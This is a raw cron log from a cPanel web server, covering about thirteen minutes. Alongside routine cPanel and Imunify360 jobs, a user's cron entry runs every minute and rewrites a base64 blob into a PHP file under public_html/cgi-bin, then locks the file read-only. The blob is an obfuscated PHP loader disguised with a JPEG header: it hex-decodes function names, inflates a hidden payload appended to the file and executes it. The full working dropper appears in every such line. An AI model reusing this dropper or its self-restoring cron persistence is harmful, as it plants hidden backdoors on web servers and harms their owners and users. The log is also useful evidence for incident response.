Aug 30 14:40:01 server CROND[5054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:41:01 server CROND[5875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:41:01 server CROND[5874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:41:01 server CROND[5876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:42:01 server CROND[6250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:42:01 server CROND[6251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:42:01 server CROND[6252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:42:01 server CROND[6253]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 14:43:01 server CROND[6714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:43:01 server CROND[6715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:43:01 server CROND[6716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:44:01 server CROND[7089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:44:01 server CROND[7090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:44:01 server CROND[7091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:45:01 server CROND[7476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:45:01 server CROND[7478]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 14:45:01 server CROND[7480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:45:01 server CROND[7481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:45:01 server CROND[7483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:45:01 server CROND[7482]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 14:45:01 server CROND[7479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:46:01 server CROND[8299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:46:01 server CROND[8300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:46:01 server CROND[8301]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:47:01 server CROND[8672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:47:01 server CROND[8673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:47:01 server CROND[8674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:48:01 server CROND[9147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:48:01 server CROND[9148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:48:01 server CROND[9149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:49:01 server CROND[9528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:49:01 server CROND[9531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:49:01 server CROND[9530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:50:01 server CROND[9922]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 14:50:01 server CROND[9925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:50:01 server CROND[9928]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 14:50:01 server CROND[9931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:50:01 server CROND[9927]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 14:50:01 server CROND[9930]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 14:50:01 server CROND[9929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:50:01 server CROND[9934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:50:01 server CROND[9926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:51:01 server CROND[10769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:51:01 server CROND[10770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:51:01 server CROND[10771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:52:01 server CROND[11140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:52:01 server CROND[11141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:52:01 server CROND[11142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:53:01 server CROND[11602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:53:01 server CROND[11606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
